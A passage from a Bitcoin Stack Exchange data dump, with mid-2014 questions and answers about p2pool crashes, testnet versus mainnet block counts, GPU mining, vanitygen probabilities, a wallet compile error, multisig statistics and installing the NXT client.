here: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=8728.msg202068#msg202068&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=8728.msg202068#msg202068&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and here: &lt;a href=&quot;http://code.google.com/p/bitcoinj/issues/detail?id=264&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/p/bitcoinj/issues/detail?id=264&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="12983" LastEditDate="2014-07-09T09:16:57.257" LastActivityDate="2014-07-09T09:16:57.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28388" PostTypeId="1" AcceptedAnswerId="29433" CreationDate="2014-07-09T09:25:21.307" Score="0" ViewCount="129" Body="&lt;p&gt;This start today I have reboot the server etc. but doesn't seem to have helped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically it will work for a while then I get a long list of request parent share items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then the process crashes totally and just loops with&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2014-07-09 09:37:33.050000 &gt; ---  ---&#xA;2014-07-09 09:37:33.051000 &gt;   File &quot;p2pool\data.pyc&quot;, line 431, in attempt_veri&#xA;fy&#xA;2014-07-09 09:37:33.052000 &gt;&lt;br&gt;&#xA;2014-07-09 09:37:33.053000 &gt;   File &quot;p2pool\data.pyc&quot;, line 320, in check&#xA;2014-07-09 09:37:33.054000 &gt;&lt;br&gt;&#xA;2014-07-09 09:37:33.054000 &gt; exceptions.ValueError: share_info invalid&#xA;2014-07-09 09:37:33.068000 &gt; Share check failed:&#xA;2014-07-09 09:37:33.069000 &gt; Traceback (most recent call last):&#xA;2014-07-09 09:37:33.070000 &gt;   File &quot;p2pool\util\deferral.pyc&quot;, line 233, in it&#xA;2014-07-09 09:37:33.071000 &gt;&lt;br&gt;&#xA;2014-07-09 09:37:33.072000 &gt;   File &quot;p2pool\util\deferral.pyc&quot;, line 284, in _wo&#xA;rker&#xA;2014-07-09 09:37:33.072000 &gt;&lt;br&gt;&#xA;2014-07-09 09:37:33.073000 &gt;   File &quot;p2pool\node.pyc&quot;, line 304, in clean_tracke&#xA;r&#xA;2014-07-09 09:37:33.075000 &gt;&lt;br&gt;&#xA;2014-07-09 09:37:33.076000 &gt;   File &quot;p2pool\data.pyc&quot;, line 452, in think&#xA;2014-07-09 09:37:33.076000 &gt;&lt;br&gt;&#xA;2014-07-09 09:37:33.077000 &gt; ---  ---&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I restart p2ool and a few minutes later it is doing it again, I've redownloaded the p2pool files and still happens. am on version 13.4&lt;/p&gt;&#xA;" OwnerUserId="18524" LastActivityDate="2014-07-12T10:32:59.250" Title="P2pool Crashing after a few minutes" Tags="|p2pool|" AnswerCount="1" CommentCount="2" ClosedDate="2014-07-24T23:22:55.257" ContentLicense="CC BY-SA 3.0" />
  <row Id="28389" PostTypeId="1" AcceptedAnswerId="28391" CreationDate="2014-07-09T09:38:02.360" Score="1" ViewCount="128" Body="&lt;p&gt;I just installed bitcoind on a fresh Ubuntu server and synced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it seemingly have synced more blocks than there are in the blockchain!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoind getblockcount&#xA;309905&#xA;$ curl http://blockexplorer.com/testnet/q/getblockcount&#xA;26787&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How is that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something wrong with my installation?&#xA;Do I have to remove it all and restart from scratch?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my bitcoind config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#testnet=1&#xA;server=1&#xA;#daemon=1&#xA;rpcuser=[redacted]&#xA;rpcpassword=[redacted]&#xA;rpctimeout=30&#xA;rpcallowip=127.0.0.1&#xA;rpcport=19332&#xA;&#xA;&#xA;addnode=95.85.39.28:18333&#xA;addnode=46.4.106.234:18333&#xA;addnode=94.102.53.181:18333&#xA;addnode=5.135.159.139:18333&#xA;addnode=188.226.138.211:18333&#xA;addnode=188.165.238.173:18333&#xA;addnode=46.28.204.15:18333&#xA;addnode=109.201.135.216:18333&#xA;addnode=5.9.2.145:18333&#xA;addnode=46.182.106.2:18333&#xA;addnode=109.201.154.201:18333&#xA;addnode=188.165.246.217:18333&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18538" LastActivityDate="2014-07-09T13:35:13.660" Title="bitcoind synced more blocks than in the blockchain?" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28390" PostTypeId="2" ParentId="28349" CreationDate="2014-07-09T10:02:29.340" Score="9" Body="&lt;p&gt;This is a valid concern and I think nobody can give you a clear answer here. We'll just have to wait how it evolves and how people react; it is an unclear future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some ideas about changing the proof-of-work algorithm to make mining pools not that profitable, but the effects of such implementations could be various.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I highly recommend &lt;a href=&quot;https://blog.ethereum.org/2014/06/19/mining/&quot;&gt;this article&lt;/a&gt; from Vitalik Buterin, where he walks through the history of Bitcoin mining, explains problems and solutions encountered in the past and describes the situation today. He also dares to predict the future development and provides some ideas to keep the mining decentralized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems there's still a long path in the future of Bitcoin development.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastEditorUserId="13530" LastEditDate="2014-07-25T22:56:14.313" LastActivityDate="2014-07-25T22:56:14.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28391" PostTypeId="2" ParentId="28389" CreationDate="2014-07-09T10:23:35.107" Score="2" Body="&lt;p&gt;You requested the amount of blocks in the testnet. In the 'real' blockchain, there are currently 309913 blocks, which is in agreement with your blockcount. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ curl http://blockexplorer.com/testnet/q/getblockcount&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;into&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ curl http://blockexplorer.com/q/getblockcount&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So no need of removal of anything. Everything is perfectly fine.&lt;/p&gt;&#xA;" OwnerUserId="15412" LastEditorUserId="15412" LastEditDate="2014-07-09T13:35:13.660" LastActivityDate="2014-07-09T13:35:13.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28392" PostTypeId="1" CreationDate="2014-07-09T11:17:52.153" Score="5" ViewCount="1485" Body="&lt;p&gt;I am currently in the process of creating a fairly simple bitcoin miner for CPU and GPU (for demonstration purposes not for money earning). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I am having a little troubling understanding how the GPU miners generally work. Now I do want a fairly simple version of this, but I hope to be able to get one that performs decently (hopefully within 10-30% of normal miners, and definitely faster than CPU version).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general I would think the strategy you have for executing on the GPU is something like the below. I hope someone could help me out on whether I am doing something completely wrong and give me some pointers towards how you usually do it.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Transfer the binary version of the data to hash to the kernel (I noticed a lot of input arguments to the OpenCL kernels on some of the versions I have seen, I assume this is some sort of optimizations of data transfer)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now, calculate the double sha256 hash of the data (Is it generally advisable to have a loop checking multiple nonces or just one per kernel?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Return a result. What is the best way of doing this? Do I check inside the kernel if it is lower than the desired target, do I just return any value and return to the host device to check for validity or how is this generally done? If checking multiple nonces I assume you should keep track of what was the best result during the run.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I do have a general and very basic GPU implementation but it is currently slower than the CPU implementation I have. I do more or less as above where each kernel check several nonces and return the &quot;best&quot; one (i.e. most trailing zeros of the hash (using getwork protocol) ). &lt;/p&gt;&#xA;" OwnerUserId="18445" LastActivityDate="2015-09-23T20:54:31.277" Title="GPU mining strategies (algorithm)" Tags="|gpu|algorithms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28393" PostTypeId="2" ParentId="18100" CreationDate="2014-07-09T13:55:18.263" Score="0" Body="&lt;p&gt;Despite this being a mistyped password issue, I want to bring some keyboard issues to everyone's attention (which can easily cause strong password transposing errors):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Android keyboards English US &amp;amp; English UK have different symbol positions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;U.K.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;`1234567890-=     ¬!&quot;£$%^&amp;amp;*()_+&lt;/p&gt;&#xA;&#xA;&lt;p&gt;qwertyuiop[]\     QWERTYUIOP{}|&lt;/p&gt;&#xA;&#xA;&lt;p&gt;asdfghjkl;'          ASDFGHJKL:@&lt;/p&gt;&#xA;&#xA;&lt;p&gt;zxcvbnm,./         ZXCVBNM&amp;lt;&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;USA&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;`1234567890-=    ~!@#$%^&amp;amp;*()_+&lt;/p&gt;&#xA;&#xA;&lt;p&gt;qwertyuiop[]\    QWERTYUIOP{}|&lt;/p&gt;&#xA;&#xA;&lt;p&gt;asdfghjkl;'      ASDFGHJKL:&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;zxcvbnm,./       ZXCVBNM&amp;lt;&gt;?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Apparently TeamViewer login gives a different keyboard in some cases&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-07-09T13:55:18.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28394" PostTypeId="1" AcceptedAnswerId="28400" CreationDate="2014-07-09T14:02:28.177" Score="1" ViewCount="476" Body="&lt;p&gt;I want to create a bitcoin address which starts with a certain passphrase (&lt;code&gt;1mathias&lt;/code&gt;, case insensitive). That idea came from &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/28219/using-vanitygen-to-generate-addresses-for-different-cryptocurrencies&quot;&gt;this&lt;/a&gt; question, and I quite liked it. After some trouble making the file on my Mac, it finally worked.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mbpssd2:vanitygen-master mathias$ ./vanitygen -i -t 4 1Mathias&#xA;WARNING: Built with OpenSSL 0.9.8y 5 Feb 2013&#xA;WARNING: Use OpenSSL 1.0.0d+ for best performance&#xA;Difficulty: 26838491360&#xA;[235.42 Kkey/s][total 2888131518][Prob 10.2%][50% in 18.5h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It is running for quite some time now, and I want to stop it, and continue with finding an address tomorrow. For what I understand, is 1 in that number addresses that fit my passphrase. So if I would choose '1' as passphrase, there would be 1. The percentage showing in terminal is the current generated (and rejected) addresses, compared to the total amount. So reaching 100% doesn't have anything related to finding an address. I can happen at 0.01%, or at 70% or at 8012%, if you are really unlucky (&lt;strong&gt;right?&lt;/strong&gt;)&lt;/p&gt;&#xA;&lt;p&gt;From the creator of vanitygen I found the following:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;If I stop vanitygen when it reports 60% complete, how do I have it restart where it left off?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You don't need to.  The percentage displayed just shows how probable it is that a match would be found in the session so far.  If it finds your address with 5% on the display, you are extremely lucky.  If it finds your address with 92% on the display, you are unlucky.  If you stop vanitygen with 90% on the display, restart it, and it finds your address with 2% on the display, your first session was unlucky, but your second session was lucky&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;But that does not make sense. If I reach 100%, I am not completely sure that an address has popped up, fitting my passphrase. &lt;strong&gt;Is this correct?&lt;/strong&gt; If I let the program run, and generate a billion addresses, not stopping when (or if) it hit my passphrase, it is even likely that it finds a correct one in the first thousand, as in the last thousand?&lt;/p&gt;&#xA;&lt;p&gt;I'm quite sure I am right, but I might be missing something. I tried to &lt;strong&gt;bold&lt;/strong&gt; the two areas where I am not sure of.&lt;/p&gt;&#xA;" OwnerUserId="15412" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-07-09T16:57:06.190" Title="Restarting Vanitygen" Tags="|vanitygen|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28395" PostTypeId="2" ParentId="11537" CreationDate="2014-07-09T14:44:36.897" Score="0" Body="&lt;p&gt;Sadly it would appear you've been hacked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Leaving ฿1.1 without a password on any wallet.DAT file (be it BTC or other altcoin) is essentially leaving your wallet on top of your car with $1000 hanging out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most likely scenario: new malware has targeted your unencrypted wallet.dat as crypto-currencies are &lt;a href=&quot;http://www.computerworld.com/s/article/9246692/Bitcoin_malware_count_soars_as_cryptocurrency_value_climbs&quot; rel=&quot;nofollow&quot;&gt;hot targets nowadays&lt;/a&gt;, for example &lt;a href=&quot;http://www.infosecurity-magazine.com/view/37132/new-instance-of-pony-botnet-steals-virtual-currencies-&quot; rel=&quot;nofollow&quot;&gt;Pony Botnet&lt;/a&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact Pony Botnet 2.0 is damned frightening when you consider the &lt;a href=&quot;https://blog.damballa.com/archives/2558&quot; rel=&quot;nofollow&quot;&gt;maliciousness and intelligence&lt;/a&gt; orchestrated recently. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry to be the bearer or bad news.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PS&lt;/strong&gt; w/ the pubkey of your ฿1.1 why not query &lt;a href=&quot;http://Blockchain.info&quot; rel=&quot;nofollow&quot;&gt;Blockchain&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-07-09T14:44:36.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28396" PostTypeId="2" ParentId="2844" CreationDate="2014-07-09T15:29:40.357" Score="0" Body="&lt;p&gt;No, you can't hold a bitcoin in your hand. But you can hold a wallet though :-). Holding a wallet in your hand is holding a sheet of paper with a buch of numbers and letters which are the public and private key that refer to your wallet (Actually the private key is the only one needed, with it you can generate the public one). The accounting information is held in the blockchain spread arrown the world in thousands of computers.&#xA;You don't need banks with bitcoin, your wallet is all you need and with your wallet you can buy in any store that accepts bitcoins. I don't know in lybia, but in my city there is at least one bar that accepts bitcoin, it is not easy to find stores accepting bitcoin out of the Internet, but I hope with time things will change. You can easily pay with your phone if you are in one of those bars/stores. But on the Internet there are many stores and the number is growing fast, where you can buy with your bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2014-07-09T15:29:40.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28397" PostTypeId="2" ParentId="28358" CreationDate="2014-07-09T15:49:09.630" Score="0" Body="&lt;p&gt;Take a look at the wallet address, if it starts with 1 it is a Bitcoin wallet, if it starts with an L it is a litecoin wallet and so on, google to know how to identify the starting of the rest of the crypto wallets (blockchains are the first places to go).&lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2014-07-09T15:49:09.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28398" PostTypeId="1" CreationDate="2014-07-09T16:24:06.003" Score="9" ViewCount="5505" Body="&lt;p&gt;Given a private key, I can get the uncompressed or compressed version of the public key like so.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EC_KEY* pKey = EC_KEY_new_by_curve_name(NID_secp256k1);&#xA;&#xA;std::vector&amp;lt;unsigned char&amp;gt; getPubKey(EC_KEY* pKey, bool compressed) const {&#xA;    if (compressed)&#xA;        EC_KEY_set_conv_form(pKey, POINT_CONVERSION_COMPRESSED);&#xA;    else&#xA;        EC_KEY_set_conv_form(pKey, POINT_CONVERSION_UNCOMPRESSED);&#xA;&#xA;    int nSize = i2o_ECPublicKey(pKey, NULL);&#xA;    std::vector&amp;lt;unsigned char&amp;gt; pubKey(nSize, 0)&#xA;    unsigned char* pBegin = &amp;amp;pubKey[0];&#xA;    i2o_ECPublicKey(pKey, &amp;amp;pBegin)&#xA;    return pubKey;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how can I get the uncompressed public key from the compressed public key without knowing the private key?&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2022-12-05T12:07:09.327" Title="How can I get the uncompressed public key from the compressed public key in openssl?" Tags="|public-key|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28399" PostTypeId="1" CreationDate="2014-07-09T16:44:48.893" Score="2" ViewCount="4409" Body="&lt;p&gt;I am not yet a Linux guy and I am going crazy trying to install the MJ Coin wallet compiling it on Ubuntu 14.04.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This are the only provided instruction to install it:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Debian&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;First, make sure that the required packages for Qt5 development of&#xA;  your distribution are installed, for Debian and Ubuntu these are:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apt-get install qt5-default qt5-qmake qtbase5-dev-tools qttools5-dev-tools \&#xA;    build-essential libboost-dev libboost-system-dev \&#xA;    libboost-filesystem-dev libboost-program-options-dev libboost-thread-dev \&#xA;    libssl-dev libdb++-dev&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then execute the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;qmake&#xA;make&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I have installed the dependencies using apt-get and it seems to me that I have no problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I perform qmake and I obtain the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;andrea@andrea-virtual-machine:~/Documenti/wallet/MJcoin$ sudo qmake&#xA;Project MESSAGE: Building with UPNP support Removed plural forms as&#xA;the target language has less forms. If this sounds wrong, possibly the&#xA;target language is not set or recognized. Removed plural forms as the&#xA;target language has less forms. If this sounds wrong, possibly the&#xA;target language is not set or recognized. Removed plural forms as the&#xA;target language has less forms. If this sounds wrong, possibly the&#xA;target language is not set or recognized.&#xA;andrea@andrea-virtual-machine:~/Documenti/wallet/MJcoin$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally I execute the make compile command but I obtain the following error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.........................................................................&#xA;.........................................................................&#xA;.........................................................................&#xA;cd /home/andrea/Documenti/wallet/MJcoin; /bin/sh share/genbuild.sh&#xA;/home/andrea/Documenti/wallet/MJcoin/build/build.h g++ -c -m64 -pipe&#xA;-fstack-protector-all --param ssp-buffer-size=1 -O2 -D_REENTRANT -fdiagnostics-show-option -Wall -Wextra -Wno-ignored-qualifiers -Wformat -Wformat-security -Wno-unused-parameter -Wstack-protector -fPIE -DQT_GUI -DBOOST_THREAD_USE_LIB -DBOOST_SPIRIT_THREADSAFE -DQT_DISABLE_DEPRECATED_BEFORE=0 -DUSE_UPNP=1 -DSTATICLIB -DHAVE_BUILD_INFO -DLINUX -DQT_NO_DEBUG -DQT_WIDGETS_LIB -DQT_GUI_LIB -DQT_CORE_LIB -I/usr/lib/x86_64-linux-gnu/qt5/mkspecs/linux-g++-64 -Isrc -Isrc/json -Isrc/qt -Isrc/leveldb/include -Isrc/leveldb/helpers -I/usr/include/qt5 -I/usr/include/qt5/QtWidgets -I/usr/include/qt5/QtGui -I/usr/include/qt5/QtCore -Ibuild -Ibuild -o build/net.o src/net.cpp src/net.cpp:19:32: fatal error:&#xA;miniupnpc/miniwget.h: File o directory non esistente  #include&#xA;&amp;lt;miniupnpc/miniwget.h&amp;gt;&#xA;                                ^ compilation terminated. make: *** [build/net.o] Errore 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The enghlish translation of the error output is: &lt;strong&gt;File or directory don't exit #include miniupnpc/miniwget.h&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the problem? How can I try to fix it?&lt;/p&gt;&#xA;" OwnerUserId="18226" LastEditorUserId="18226" LastEditDate="2014-07-09T16:50:32.863" LastActivityDate="2014-07-09T17:36:37.267" Title="Why I obtain this error trying to compile this wallet?" Tags="|wallet|ubuntu|linux|compiling|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28400" PostTypeId="2" ParentId="28394" CreationDate="2014-07-09T16:57:06.190" Score="3" Body="&lt;p&gt;Vanitygen works like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Generate a random 256-bit integer to use as an ECDSA private key&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Compute the corresponding public key&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Compute the hash of the public key to find the address&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check if it matches the requested pattern (&lt;code&gt;1Mathias&lt;/code&gt; in your case)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If yes, halt and output the private key; if no, start over at step 1&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Notice that there is no state saved in this process, so you lose nothing in stopping and starting as much as you want.  Each random private key has an equal probability of success; it doesn't matter how many you have already tried.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a given number N of random private keys tried, one can compute the probability that (at least) one of them would succeed.  This is the &quot;percent&quot; number that Vanitygen reports - it's not a percent completion!  In the excerpt you show, it says that it has tried 2888131518 keys, and that mathematically, trying 2888131518 keys has a 10.2% chance of finding one that works.  It also says that in 18.5 hours, it will have tried enough keys that the chance of success is 50%.  This does not scale linearly!  If you are unlucky and don't find a key for 37 hours, it won't say 100%; it will say 75%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an analogy, suppose you have an ordinary 6-sided die, and you want to roll it repeatedly until you get a 6.  Your chances of succeeding with one roll are 1/6 (16.6%); your chances of succeeding within 10 rolls are 83%; your chances of succeeding within 100 rolls are 99.9999987%.  But this number &lt;em&gt;never&lt;/em&gt; gets to 100%; there is no number of rolls that will &lt;em&gt;guarantee&lt;/em&gt; success.  There is always some chance that, of all the rolls you made, none of them came up 6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the &quot;percent&quot; number reported by Vanitygen is &lt;em&gt;never&lt;/em&gt; going to reach (much less exceed) 100%.  It is simply intended to give you an estimate of how long the process might take, but since it is random, there can be no guarantees.  If it gets very close to 100%, all you know is that you have been very unlucky; but your odds of success with each new key are exactly the same as they always were.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-07-09T16:57:06.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28401" PostTypeId="2" ParentId="28399" CreationDate="2014-07-09T17:36:37.267" Score="2" Body="&lt;p&gt;Like it says, you are missing the header file &lt;code&gt;miniupnpc/miniwget.h&lt;/code&gt;.  Usually this means there is a required library that is not installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ubuntu has the convenient tool &lt;code&gt;apt-file&lt;/code&gt; for finding which package provides a particular file.  Install the &lt;code&gt;apt-file&lt;/code&gt; package (&lt;code&gt;apt-get install apt-file&lt;/code&gt;) and run &lt;code&gt;apt-file update&lt;/code&gt; to install the file list.  Then you can do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ apt-file search miniwget.h&#xA;libminiupnpc-dev: /usr/include/miniupnpc/miniwget.h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you need to install the &lt;code&gt;libminiupnpc-dev&lt;/code&gt; package.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the documentation doesn't seem to mention this dependency, you may want to report this as a documentation bug to the MJcoin developers.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-07-09T17:36:37.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28402" PostTypeId="1" CreationDate="2014-07-09T17:54:29.037" Score="4" ViewCount="262" Body="&lt;p&gt;I am looking for a statistic of the usage of multi-sig addresses over time.&#xA;More concrete: what is the percentage of Bitcoins stored in a multi-sig address over time.&lt;/p&gt;&#xA;" OwnerUserId="1853" LastEditorUserId="1853" LastEditDate="2014-07-18T19:05:15.133" LastActivityDate="2014-07-18T19:05:15.133" Title="What percentage of Bitcoins stored in a multi sign address?" Tags="|blockchain|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28404" PostTypeId="2" ParentId="28402" CreationDate="2014-07-09T19:32:43.307" Score="6" Body="&lt;p&gt;I calculated it here summarized per month:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  month       btc      count&#xA;  201201   0.010000      1 &#xA;  201202   1.150000      5 &#xA;  201203   0.015000      2 &#xA;&#xA;  201209   0.010000      1 &#xA;&#xA;  201212 137.737103     46 &#xA;  201301   9.781411      9 &#xA;  201302   0.100000      2 &#xA;  201303 527.570925    724 &#xA;  201304 385.334698   1137 &#xA;  201305 300.712263    991 &#xA;  201306  20.247942     78 &#xA;  201307   6.251700     13 &#xA;  201308   0.934915      2 &#xA;  201309   0.499281     10 &#xA;  201310   0.233557     45 &#xA;  201311   0.903894    352 &#xA;  201312   0.184625    796 &#xA;  201401   0.187421   1237 &#xA;  201402   0.546214   4086 &#xA;  201403   0.573631   4314 &#xA;  201404   1.406338  12761 &#xA;  201405   1.019459   9331 &#xA;  201406  13.324859  11959 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I counted all multisig output transactions with valid public keys.&lt;/p&gt;&#xA;" OwnerUserId="13163" LastActivityDate="2014-07-09T19:32:43.307" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28405" PostTypeId="1" CreationDate="2014-07-09T20:43:49.693" Score="2" ViewCount="715" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0016.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP 16&lt;/a&gt; uses an example of a one signature required transaction as a scripthash example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scriptSig: [signature] {[pubkey] OP_CHECKSIG}&#xA;scriptPubKey: OP_HASH160 [20-byte-hash of {[pubkey] OP_CHECKSIG} ] OP_EQUAL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has this been used in the blockchain?  Additionally, what's an easy way for me to grep through the blockchain looking from scriptSigs or scriptPubKeys that meet strange conditions?&lt;/p&gt;&#xA;" OwnerUserId="18546" LastActivityDate="2014-07-10T06:58:14.053" Title="Are there examples of scripthash transactions in the blockchain that do not use MultiSig destinations?" Tags="|script|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28406" PostTypeId="2" ParentId="28376" CreationDate="2014-07-09T21:26:11.420" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure Java 7 is installed on your Ubuntu Server&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get install openjdk-7-jre nano zip&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Download the latest NRS release and verify the hash sum, example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;wget https://bitbucket.org/JeanLucPicard/nxt/downloads/nxt-client-1.1.6.zip&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;sha256sum nxt-client-1.1.6.zip&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Compare with valid hash found on &lt;a href=&quot;https://nxtforum.org/nrs-releases/nrs-v1-1-6/&quot; rel=&quot;nofollow&quot;&gt;https://nxtforum.org/nrs-releases/nrs-v1-1-6/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;unzip nxt-client-1.1.6.zip&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;cd 